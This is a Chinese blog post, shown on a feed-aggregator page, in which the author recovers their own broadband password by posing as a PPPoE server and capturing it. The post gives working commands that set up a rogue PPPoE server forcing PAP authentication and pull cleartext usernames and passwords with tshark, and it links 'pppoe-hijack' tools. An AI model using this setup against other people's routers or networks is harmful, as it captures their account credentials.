惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Stack Overflow Blog
Stack Overflow Blog
云风的 BLOG
云风的 BLOG
G
Google Developers Blog
J
Java Code Geeks
C
Check Point Blog
Last Week in AI
Last Week in AI
Microsoft Azure Blog
Microsoft Azure Blog
Blog — PlanetScale
Blog — PlanetScale
月光博客
月光博客
Vercel News
Vercel News
The GitHub Blog
The GitHub Blog
L
LangChain Blog
有赞技术团队
有赞技术团队
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
博客园 - 司徒正美
IT之家
IT之家
Martin Fowler
Martin Fowler
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
Tailwind CSS Blog
U
Unit 42
Jina AI
Jina AI
Microsoft Security Blog
Microsoft Security Blog
I
InfoQ

吹比💨

NFS 服务引发的一次“诡异”应急响应 银狐使用WDAC来对抗杀软 浏览器第三方Cookie保护导致无法使用Github.dev 使用pushState伪造浏览器地址栏 一次排查网站劫持过程流水账 手动导出 Microsoft Authenticator 中的2FA密钥 使用CloudFlare的IP Lists功能来做访问控制 FrontJS网站错误监控插件存在弹窗广告 宝塔面板可能存在未知漏洞的分析与处置方法 CDN厂商解决域前置问题 中文域名那些事 TLS握手指纹(JA3/JA3S)检测恶意软件流量 [A-Z]{2}\d{2}.cc 团伙的一些公开信息 Azure旗下奇怪的静态托管服务 Csrf与浏览器第三方Cookie策略的问题 Publicsuffix那些事 一次有意思的域名追踪 CobaltStrike通信中host字段的获取 XFF那些事 CORB那些事 Referrer Policy那些事 使用CloudFlare来为网站开启客户端证书验证 DNS那些事 用flask来在线管理你的iptables 屏蔽掉向日葵的有效方法 帝国cms在防止内容采集方面做的工作 身份验证器是如何验证我们的身份? 利用GoogleAppsScript自动回复短信实现保号 Nginx实用模块 有关跨域请求的一些记录
Pppoe密码嗅探
榆木 · 2021-09-05 · via 吹比💨

pppoe密码嗅探是一个老话题了。苦于没有环境(懒),今天刚有机会实操一下,简单记录。

前言

舍友跑路了,之前路由器都是他管理的。不知心理原因还是如何,感觉网络不太稳定,遂想重置一下路由器,可是宽带密码多少来着?想起路由器现在都带有密码的自动获取功能(两路由器相连),推测PPPOE也是一个明文协议,我决定嗅探一下。

尝试

首先将路由器的wan接入电脑的网线口,打开wireshark。只看到一堆PPPOE的PADI包,但是并没有要发送密码的意思。会不会需要服务器做回应才行呢?

于是我找到了两个用代码模拟pppoe服务的项目。

https://github.com/Karblue/PPPoE-hijack

6年前的项目。还是python2的。不过可能scapy版本问题,亦或者其他原因。在line 122 一直报错。

    #发送lcp-config-req回执包
    def send_lcp_req_packet(self, raw):
        #实际client payload
        raw = copy.deepcopy(raw)
        raw.dst, raw.src = raw.src, raw.dst
        _rawnLoad = raw.load

https://github.com/LuckyC4t/pppoe-hijack-go

该项目号称上面的go重构,基于go的跨平台特性。我在服务器上编译了exe文件后拖回本地。执行提示2021/09/05 xx:xx:xx Realtek USB GbE Family Controller #2: No such device exists (No such device exists),而后一番debug,发现原来是pcap.OpenLive中device的参数在windows下是需要网卡参数为\Device\NPF_{xxxxx}格式。最后终于能跑起来了,但是一直陷入了

Received LCP-Config-Req
send LCP Ack packet...
send LCP Reject packet...

中。于是我尝试变换思路,既然代码伪造pppoe有问题,那我为什么不能安装一个pppoe的server呢?于是尝试在windows子系统中安装。不过无论如何也不能启动pppoe-server。

$ pppoe-server
pppoe: socket: Address family not supported by protocol

于是只好拿出我雪藏已久的deepin真机,一发入魂。

## 安装pppoe并创建用户
apt update
apt install -y pppoe tshark
touch /etc/ppp/pppoe-server-options
echo "require-pap" > /etc/ppp/pppoe-server-options
echo "lcp-echo-interval 10" >> /etc/ppp/pppoe-server-options
echo "lcp-echo-failure 2" >> /etc/ppp/pppoe-server-options
echo "* * * *" > /etc/ppp/pap-secrets
## 启动服务与抓包,需要配置eth0为真实网卡
/usr/sbin/pppoe-server -L 10.5.5.1 -R 10.5.5.10 -I eth0 -S yyf
tshark -i eth0 -Y "pap.password" -l -T fields -e pap.peer_id -e pap.password

注意:我们会收到很多的密码,因为路由器内置了多种加密、编码认证方式。比如用户名加前缀、密码md5等。取较多重合部分的就是真正的用户名与密码了。